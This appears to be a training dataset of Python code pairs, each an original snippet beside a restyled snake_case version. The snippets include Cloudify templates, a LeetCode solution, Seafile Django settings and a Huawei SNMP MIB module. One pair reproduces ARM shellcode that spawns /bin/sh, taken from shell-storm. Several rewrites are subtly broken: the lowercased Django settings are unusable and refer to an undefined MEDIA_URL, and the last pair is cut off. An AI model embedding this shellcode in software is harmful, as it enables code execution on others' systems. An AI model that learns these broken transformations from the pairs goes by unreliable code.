return {'type': 'cloudify.keys.nodes.RSAKey', 'properties': {'resource_config': {'key_name': self.key_name, 'openssh_format': self.openssh_format}, 'use_secret_store': self.use_secret_store, 'use_secrets_if_exist': self.use_secrets_if_exist}, 'interfaces': {'cloudify.interfaces.lifecycle': {'create': {'implementation': 'keys.cloudify_ssh_key.operations.create', 'inputs': {'store_private_key_material': self.store_private_key_material}}}}}
class Cloudinit(NodeTemplate):
def __init__(self, name, agent_user, ssh_authorized_keys):
super(CloudInit, self).__init__(name)
self.agent_user = agent_user
self.ssh_authorized_keys = ssh_authorized_keys
def to_dict(self):
return {'type': 'cloudify.nodes.CloudInit.CloudConfig', 'properties': {'resource_config': {'users': [{'name': self.agent_user, 'shell': '/bin/bash', 'sudo': ['ALL=(ALL) NOPASSWD:ALL'], 'ssh-authorized-keys': self.ssh_authorized_keys}]}}, 'relationships': [{'type': 'cloudify.relationships.depends_on', 'target': 'agent_key'}]} |
class Solution:
def findSmallestRegion(self, regions: List[List[str]], region1: str, region2: str) -> str:
seen = set()
graph = {}
for nodes in regions:
root = nodes[0]
if root not in graph:
graph[root] = root
for child in nodes[1:]:
graph[child] = root
paths1 = self.search(region1, graph)
paths2 = self.search(region2, graph)
length = min(len(paths1), len(paths2))
index = length
for i in range(length):
if paths1[i] != paths2[i]:
index = i
break
return paths1[index - 1]
def search(self, region, graph):
paths = []
root = region
while graph[root] != root:
paths.append(root)
root = graph[root]
paths.append(root)
return paths[::-1]
| class Solution:
def find_smallest_region(self, regions: List[List[str]], region1: str, region2: str) -> str:
seen = set()
graph = {}
for nodes in regions:
root = nodes[0]
if root not in graph:
graph[root] = root
for child in nodes[1:]:
graph[child] = root
paths1 = self.search(region1, graph)
paths2 = self.search(region2, graph)
length = min(len(paths1), len(paths2))
index = length
for i in range(length):
if paths1[i] != paths2[i]:
index = i
break
return paths1[index - 1]
def search(self, region, graph):
paths = []
root = region
while graph[root] != root:
paths.append(root)
root = graph[root]
paths.append(root)
return paths[::-1] |
class White(object):
def __init__(self):
self.color = 255, 255, 255
self.radius = 10
self.width = 10
| class White(object):
def __init__(self):
self.color = (255, 255, 255)
self.radius = 10
self.width = 10 |
def linearSearch(arr, x):
for i in range(len(arr)):
if arr[i] == x:
return i
return -1
if __name__ == "__main__":
arr = [0,1,2,3,4,5,6,7,8,9]
x = 6
print("Value is present at index number: {}".format(linearSearch(arr,x))) | def linear_search(arr, x):
for i in range(len(arr)):
if arr[i] == x:
return i
return -1
if __name__ == '__main__':
arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
x = 6
print('Value is present at index number: {}'.format(linear_search(arr, x))) |
#http://shell-storm.org/shellcode/files/shellcode-855.php
#Author : gunslinger_ (yuda at cr0security dot com)
def bin_sh():
shellcode = r"\x01\x60\x8f\xe2"
shellcode += r"\x16\xff\x2f\xe1"
shellcode += r"\x40\x40"
shellcode += r"\x78\x44"
shellcode += r"\x0c\x30"
shellcode += r"\x49\x40"
shellcode += r"\x52\x40"
shellcode += r"\x0b\x27"
shellcode += r"\x01\xdf"
shellcode += r"\x01\x27"
shellcode += r"\x01\xdf"
shellcode += r"\x2f\x2f"
shellcode += r"\x62\x69\x6e\x2f"
shellcode += r"\x2f\x73"
shellcode += r"\x68"
return shellcode
| def bin_sh():
shellcode = '\\x01\\x60\\x8f\\xe2'
shellcode += '\\x16\\xff\\x2f\\xe1'
shellcode += '\\x40\\x40'
shellcode += '\\x78\\x44'
shellcode += '\\x0c\\x30'
shellcode += '\\x49\\x40'
shellcode += '\\x52\\x40'
shellcode += '\\x0b\\x27'
shellcode += '\\x01\\xdf'
shellcode += '\\x01\\x27'
shellcode += '\\x01\\xdf'
shellcode += '\\x2f\\x2f'
shellcode += '\\x62\\x69\\x6e\\x2f'
shellcode += '\\x2f\\x73'
shellcode += '\\x68'
return shellcode |
SECRET_KEY = "GENERATA AL SETUP DI SEAFILE"
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'seahub-db',
'USER': 'UTENTE DB MYSQL',
'PASSWORD': 'INSERIRE LA PASSWORD DI MYSQL',
'HOST': '127.0.0.1',
'PORT': '3306',
'OPTIONS': {
'init_command': 'SET storage_engine=INNODB',
}
}
}
FILE_SERVER_ROOT = 'https://cname.dominio.tld/seafhttp'
SERVE_STATIC = True
MEDIA_URL = '/seafmedia/'
SITE_ROOT = '/archivio/'
COMPRESS_URL = MEDIA_URL
STATIC_URL = MEDIA_URL + 'assets/'
# workaround momentaneo valido almeno per la 4.x (5.x da testare)
DEBUG = True
LANGUAGE_CODE = 'it-IT'
# show or hide library 'download' button
SHOW_REPO_DOWNLOAD_BUTTON = True
# enable 'upload folder' or not
ENABLE_UPLOAD_FOLDER = True
# enable resumable fileupload or not
ENABLE_RESUMABLE_FILEUPLOAD = True
# browser tab title
SITE_TITLE = 'Archivio ACME'
# Path to the Logo Imagefile (relative to the media path)
#LOGO_PATH = 'img/seafile_logo.png'
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',
'LOCATION': '127.0.0.1:11211',
}
}
| secret_key = 'GENERATA AL SETUP DI SEAFILE'
databases = {'default': {'ENGINE': 'django.db.backends.mysql', 'NAME': 'seahub-db', 'USER': 'UTENTE DB MYSQL', 'PASSWORD': 'INSERIRE LA PASSWORD DI MYSQL', 'HOST': '127.0.0.1', 'PORT': '3306', 'OPTIONS': {'init_command': 'SET storage_engine=INNODB'}}}
file_server_root = 'https://cname.dominio.tld/seafhttp'
serve_static = True
media_url = '/seafmedia/'
site_root = '/archivio/'
compress_url = MEDIA_URL
static_url = MEDIA_URL + 'assets/'
debug = True
language_code = 'it-IT'
show_repo_download_button = True
enable_upload_folder = True
enable_resumable_fileupload = True
site_title = 'Archivio ACME'
caches = {'default': {'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', 'LOCATION': '127.0.0.1:11211'}} |
#
# PySNMP MIB module HUAWEI-IMA-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HUAWEI-IMA-MIB
# Produced by pysmi-0.3.4 at Wed May 1 13:45:04 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueSizeConstraint, ConstraintsIntersection, ConstraintsUnion, SingleValueConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsIntersection", "ConstraintsUnion", "SingleValueConstraint", "ValueRangeConstraint")
hwDatacomm, = mibBuilder.importSymbols("HUAWEI-MIB", "hwDatacomm")
InterfaceIndexOrZero, InterfaceIndex, ifIndex = mibBuilder.importSymbols("IF-MIB", "InterfaceIndexOrZero", "InterfaceIndex", "ifIndex")
ModuleCompliance, ObjectGroup, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "ObjectGroup", "NotificationGroup")
Integer32, TimeTicks, Counter64, Counter32, iso, ObjectIdentity, ModuleIdentity, MibIdentifier, Bits, Unsigned32, NotificationType, enterprises, Gauge32, MibScalar, MibTable, MibTableRow, MibTableColumn, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "TimeTicks", "Counter64", "Counter32", "iso", "ObjectIdentity", "ModuleIdentity", "MibIdentifier", "Bits", "Unsigned32", "NotificationType", "enterprises", "Gauge32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "IpAddress")
DisplayString, TextualConvention, DateAndTime, RowStatus = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention", "DateAndTime", "RowStatus")
hwImaMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176))
if mibBuilder.loadTexts: hwImaMIB.setLastUpdated('200902101400Z')
if mibBuilder.loadTexts: hwImaMIB.setOrganization('Huawei Technologies co.,Ltd.')
if mibBuilder.loadTexts: hwImaMIB.setContactInfo('Huawei Technologies co.,Ltd. Huawei Bld.,NO.3 Xinxi Rd., Shang-Di Information Industry Base, Hai-Dian District Beijing P.R. China http://www.huawei.com Zip:100085 ')
if mibBuilder.loadTexts: hwImaMIB.setDescription('The MIB is mainly used to configure Inverse Multiplexing for ATM (IMA) interfaces.')
hwImaMibObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1))
hwImaMibConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2))
class MilliSeconds(TextualConvention, Integer32):
description = 'Time in milliseconds'
status = 'current'
class ImaGroupState(TextualConvention, Integer32):
description = 'State of the IMA group.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))
namedValues = NamedValues(("notConfigured", 1), ("startUp", 2), ("startUpAck", 3), ("configAbortUnsupportedM", 4), ("configAbortIncompatibleSymmetry", 5), ("configAbortOther", 6), ("insufficientLinks", 7), ("blocked", 8), ("operational", 9), ("configAbortUnsupportedImaVersion", 10))
class ImaGroupSymmetry(TextualConvention, Integer32):
description = 'The group symmetry mode adjusted during the group start-up.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3))
namedValues = NamedValues(("symmetricOperation", 1), ("asymmetricOperation", 2), ("asymmetricConfiguration", 3))
class ImaFrameLength(TextualConvention, Integer32):
description = 'Length of the IMA frames.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(32, 64, 128, 256))
namedValues = NamedValues(("m32", 32), ("m64", 64), ("m128", 128), ("m256", 256))
class ImaLinkState(TextualConvention, Integer32):
description = 'State of a link belonging to an IMA group.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8))
namedValues = NamedValues(("notInGroup", 1), ("unusableNoGivenReason", 2), ("unusableFault", 3), ("unusableMisconnected", 4), ("unusableInhibited", 5), ("unusableFailed", 6), ("usable", 7), ("active", 8))
hwImaGroupTable = MibTable((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1), )
if mibBuilder.loadTexts: hwImaGroupTable.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTable.setDescription('The IMA Group Configuration table.')
hwImaGroupEntry = MibTableRow((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1), ).setIndexNames((0, "HUAWEI-IMA-MIB", "hwImaGroupIfIndex"))
if mibBuilder.loadTexts: hwImaGroupEntry.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupEntry.setDescription('An entry in the IMA Group table.')
hwImaGroupIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 1), InterfaceIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupIfIndex.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupIfIndex.setDescription("This object identifies the logical interface number ('ifIndex') assigned to this IMA group, and is used to identify corresponding rows in the Interfaces MIB. Note that re-initialization of the management agent may cause a client's 'hwImaGroupIfIndex' to change.")
hwImaGroupNeState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 2), ImaGroupState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupNeState.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupNeState.setDescription('The current operational state of the near-end IMA Group State Machine.')
hwImaGroupFeState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 3), ImaGroupState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupFeState.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupFeState.setDescription('The current operational state of the far-end IMA Group State Machine.')
hwImaGroupSymmetry = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 4), ImaGroupSymmetry().clone('symmetricOperation')).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupSymmetry.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupSymmetry.setDescription('Symmetry of the IMA group.')
hwImaGroupMinNumTxLinks = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 32))).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaGroupMinNumTxLinks.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupMinNumTxLinks.setDescription('Minimum number of transmit links required to be Active for the IMA group to be in the Operational state.')
hwImaGroupMinNumRxLinks = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 32))).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaGroupMinNumRxLinks.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupMinNumRxLinks.setDescription('Minimum number of receive links required to be Active for the IMA group to be in the Operational state.')
hwImaGroupTxTimingRefLink = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 7), InterfaceIndexOrZero()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupTxTimingRefLink.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTxTimingRefLink.setDescription('The ifIndex of the transmit timing reference link to be used by the near-end for IMA data cell clock recovery from the ATM layer. The distinguished value of zero may be used if no link has been configured in the IMA group, or if the transmit timing reference link has not yet been selected.')
hwImaGroupRxTimingRefLink = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 8), InterfaceIndexOrZero()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupRxTimingRefLink.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupRxTimingRefLink.setDescription('The ifIndex of the receive timing reference link to be used by near-end for IMA data cell clock recovery toward the ATM layer. The distinguished value of zero may be used if no link has been configured in the IMA group, or if the receive timing reference link has not yet been detected.')
hwImaGroupTxImaId = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 9), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupTxImaId.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTxImaId.setDescription('The IMA ID currently in use by the near-end IMA function.')
hwImaGroupRxImaId = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupRxImaId.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupRxImaId.setDescription('The IMA ID currently in use by the far-end IMA function.')
hwImaGroupTxFrameLength = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 11), ImaFrameLength().clone('m128')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaGroupTxFrameLength.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTxFrameLength.setDescription('The frame length to be used by the IMA group in the transmit direction. Can only be set when the IMA group is startup.')
hwImaGroupRxFrameLength = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 12), ImaFrameLength()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupRxFrameLength.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupRxFrameLength.setDescription('Value of IMA frame length as received from remote IMA function.')
hwImaGroupDiffDelayMax = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 13), MilliSeconds().subtype(subtypeSpec=ValueRangeConstraint(25, 100)).clone(25)).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaGroupDiffDelayMax.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupDiffDelayMax.setDescription('The maximum number of milliseconds of differential delay among the links that will be tolerated on this interface.')
hwImaGroupAlphaValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 14), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2)).clone(2)).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupAlphaValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupAlphaValue.setDescription("This indicates the 'alpha' value used to specify the number of consecutive invalid ICP cells to be detected before moving to the IMA Hunt state from the IMA Sync state.")
hwImaGroupBetaValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 15), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 5)).clone(2)).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupBetaValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupBetaValue.setDescription("This indicates the 'beta' value used to specify the number of consecutive errored ICP cells to be detected before moving to the IMA Hunt state from the IMA Sync state.")
hwImaGroupGammaValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 16), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 5)).clone(1)).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupGammaValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupGammaValue.setDescription("This indicates the 'gamma' value used to specify the number of consecutive valid ICP cells to be detected before moving to the IMA Sync state from the IMA PreSync state.")
hwImaGroupNumTxActLinks = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 17), Gauge32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupNumTxActLinks.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupNumTxActLinks.setDescription('The number of links which are configured to transmit and are currently Active in this IMA group.')
hwImaGroupNumRxActLinks = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 18), Gauge32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupNumRxActLinks.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupNumRxActLinks.setDescription('The number of links which are configured to receive and are currently Active in this IMA group.')
hwImaGroupTxOamLabelValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 19), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupTxOamLabelValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTxOamLabelValue.setDescription('IMA OAM Label value transmitted by the NE IMA unit.')
hwImaGroupRxOamLabelValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 20), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupRxOamLabelValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupRxOamLabelValue.setDescription('IMA OAM Label value transmitted by the FE IMA unit. The value 0 likely means that the IMA unit has not received an OAM Label from the FE IMA unit at this time.')
hwImaGroupFirstLinkIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 21), InterfaceIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupFirstLinkIfIndex.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupFirstLinkIfIndex.setDescription('This object identifies the first link of this IMA Group.')
hwImaLinkTable = MibTable((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2), )
if mibBuilder.loadTexts: hwImaLinkTable.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkTable.setDescription('The IMA group Link Status and Configuration table.')
hwImaLinkEntry = MibTableRow((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1), ).setIndexNames((0, "HUAWEI-IMA-MIB", "hwImaLinkIfIndex"))
if mibBuilder.loadTexts: hwImaLinkEntry.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkEntry.setDescription('An entry in the IMA Group Link table.')
hwImaLinkIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 1), InterfaceIndex())
if mibBuilder.loadTexts: hwImaLinkIfIndex.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkIfIndex.setDescription("This corresponds to the 'ifIndex' of the MIB-II interface on which this link is established. This object also corresponds to the logical number ('ifIndex') assigned to this IMA link.")
hwImaLinkGroupIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 2), InterfaceIndex()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaLinkGroupIfIndex.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkGroupIfIndex.setDescription("This object identifies the logical interface number ('ifIndex') assigned to this IMA group. The specified link will be bound to this IMA group.")
hwImaLinkNeTxState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 3), ImaLinkState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaLinkNeTxState.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkNeTxState.setDescription('The current state of the near-end transmit link.')
hwImaLinkNeRxState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 4), ImaLinkState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaLinkNeRxState.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkNeRxState.setDescription('The current state of the near-end receive link.')
hwImaLinkFeTxState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 5), ImaLinkState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaLinkFeTxState.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkFeTxState.setDescription('The current state of the far-end transmit link as reported via ICP cells.')
hwImaLinkFeRxState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 6), ImaLinkState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaLinkFeRxState.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkFeRxState.setDescription('The current state of the far-end receive link as reported via ICP cells.')
hwImaLinkRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 51), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaLinkRowStatus.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkRowStatus.setDescription("The hwImaLinkRowStatus object allows create, change, and delete operations on hwImaLinkTable entries. To create a new conceptual row (or instance) of the hwImaLinkTable, hwImaLinkRowStatus must be set to 'createAndWait' or 'createAndGo'. A successful set of the imaLinkGroupIndex object must be performed before the hwImaLinkRowStatus of a new conceptual row can be set to 'active'. To change (modify) the imaLinkGroupIndex in an hwImaLinkTable entry, the hwImaLinkRowStatus object must first be set to 'notInService'. Only then can this object in the conceptual row be modified. This is due to the fact that the imaLinkGroupIndex object provides the association between a physical IMA link and the IMA group to which it belongs, and setting the imaLinkGroupIndex object to a different value has the effect of changing the association between a physical IMA link and an IMA group. To place the link 'in group', the hwImaLinkRowStatus object is set to 'active'. While the row is not in 'active' state, both the Transmit and Receive IMA link state machines are in the 'Not In Group' state. To remove (delete) an hwImaLinkTable entry from this table, set this object to 'destroy'.")
hwImaMibGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 1))
hwImaMibCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 2))
hwImaMibCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 2, 1)).setObjects(("HUAWEI-IMA-MIB", "hwImaGroupGroup"), ("HUAWEI-IMA-MIB", "hwImaLinkGroup"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hwImaMibCompliance = hwImaMibCompliance.setStatus('current')
if mibBuilder.loadTexts: hwImaMibCompliance.setDescription('The compliance statement for network elements implementing Inverse Multiplexing for ATM (IMA) interfaces.')
hwImaGroupGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 1, 1)).setObjects(("HUAWEI-IMA-MIB", "hwImaGroupIfIndex"), ("HUAWEI-IMA-MIB", "hwImaGroupNeState"), ("HUAWEI-IMA-MIB", "hwImaGroupFeState"), ("HUAWEI-IMA-MIB", "hwImaGroupSymmetry"), ("HUAWEI-IMA-MIB", "hwImaGroupMinNumTxLinks"), ("HUAWEI-IMA-MIB", "hwImaGroupMinNumRxLinks"), ("HUAWEI-IMA-MIB", "hwImaGroupTxTimingRefLink"), ("HUAWEI-IMA-MIB", "hwImaGroupRxTimingRefLink"), ("HUAWEI-IMA-MIB", "hwImaGroupTxImaId"), ("HUAWEI-IMA-MIB", "hwImaGroupRxImaId"), ("HUAWEI-IMA-MIB", "hwImaGroupTxFrameLength"), ("HUAWEI-IMA-MIB", "hwImaGroupRxFrameLength"), ("HUAWEI-IMA-MIB", "hwImaGroupDiffDelayMax"), ("HUAWEI-IMA-MIB", "hwImaGroupAlphaValue"), ("HUAWEI-IMA-MIB", "hwImaGroupBetaValue"), ("HUAWEI-IMA-MIB", "hwImaGroupGammaValue"), ("HUAWEI-IMA-MIB", "hwImaGroupNumTxActLinks"), ("HUAWEI-IMA-MIB", "hwImaGroupNumRxActLinks"), ("HUAWEI-IMA-MIB", "hwImaGroupTxOamLabelValue"), ("HUAWEI-IMA-MIB", "hwImaGroupRxOamLabelValue"), ("HUAWEI-IMA-MIB", "hwImaGroupFirstLinkIfIndex"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hwImaGroupGroup = hwImaGroupGroup.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupGroup.setDescription('A set of objects providing configuration and status information for an IMA group definition.')
hwImaLinkGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 1, 2)).setObjects(("HUAWEI-IMA-MIB", "hwImaLinkGroupIfIndex"), ("HUAWEI-IMA-MIB", "hwImaLinkNeTxState"), ("HUAWEI-IMA-MIB", "hwImaLinkNeRxState"), ("HUAWEI-IMA-MIB", "hwImaLinkFeTxState"), ("HUAWEI-IMA-MIB", "hwImaLinkFeRxState"), ("HUAWEI-IMA-MIB", "hwImaLinkRowStatus"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hwImaLinkGroup = hwImaLinkGroup.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkGroup.setDescription('A set of objects providing status information for an IMA link.')
mibBuilder.exportSymbols("HUAWEI-IMA-MIB", hwImaMibGroups=hwImaMibGroups, hwImaMIB=hwImaMIB, hwImaGroupTxFrameLength=hwImaGroupTxFrameLength, hwImaMibCompliance=hwImaMibCompliance, hwImaGroupGammaValue=hwImaGroupGammaValue, hwImaMibObjects=hwImaMibObjects, hwImaGroupFeState=hwImaGroupFeState, hwImaGroupRxTimingRefLink=hwImaGroupRxTimingRefLink, ImaGroupState=ImaGroupState, hwImaGroupNumTxActLinks=hwImaGroupNumTxActLinks, hwImaGroupMinNumTxLinks=hwImaGroupMinNumTxLinks, hwImaGroupDiffDelayMax=hwImaGroupDiffDelayMax, hwImaGroupRxOamLabelValue=hwImaGroupRxOamLabelValue, hwImaLinkTable=hwImaLinkTable, hwImaLinkFeTxState=hwImaLinkFeTxState, hwImaLinkGroupIfIndex=hwImaLinkGroupIfIndex, hwImaLinkNeRxState=hwImaLinkNeRxState, hwImaGroupEntry=hwImaGroupEntry, hwImaMibConformance=hwImaMibConformance, hwImaGroupTable=hwImaGroupTable, ImaGroupSymmetry=ImaGroupSymmetry, hwImaLinkFeRxState=hwImaLinkFeRxState, hwImaGroupTxOamLabelValue=hwImaGroupTxOamLabelValue, hwImaGroupAlphaValue=hwImaGroupAlphaValue, hwImaLinkNeTxState=hwImaLinkNeTxState, hwImaGroupRxFrameLength=hwImaGroupRxFrameLength, MilliSeconds=MilliSeconds, PYSNMP_MODULE_ID=hwImaMIB, ImaLinkState=ImaLinkState, hwImaGroupIfIndex=hwImaGroupIfIndex, hwImaGroupNeState=hwImaGroupNeState, hwImaLinkEntry=hwImaLinkEntry, hwImaGroupRxImaId=hwImaGroupRxImaId, hwImaMibCompliances=hwImaMibCompliances, hwImaGroupGroup=hwImaGroupGroup, hwImaGroupBetaValue=hwImaGroupBetaValue, hwImaLinkIfIndex=hwImaLinkIfIndex, hwImaGroupMinNumRxLinks=hwImaGroupMinNumRxLinks, hwImaGroupFirstLinkIfIndex=hwImaGroupFirstLinkIfIndex, hwImaGroupSymmetry=hwImaGroupSymmetry, hwImaGroupTxImaId=hwImaGroupTxImaId, hwImaLinkGroup=hwImaLinkGroup, hwImaLinkRowStatus=hwImaLinkRowStatus, hwImaGroupNumRxActLinks=hwImaGroupNumRxActLinks, hwImaGroupTxTimingRefLink=hwImaGroupTxTimingRefLink, ImaFrameLength=ImaFrameLength)
| (object_identifier, integer, octet_string) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier', 'Integer', 'OctetString')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
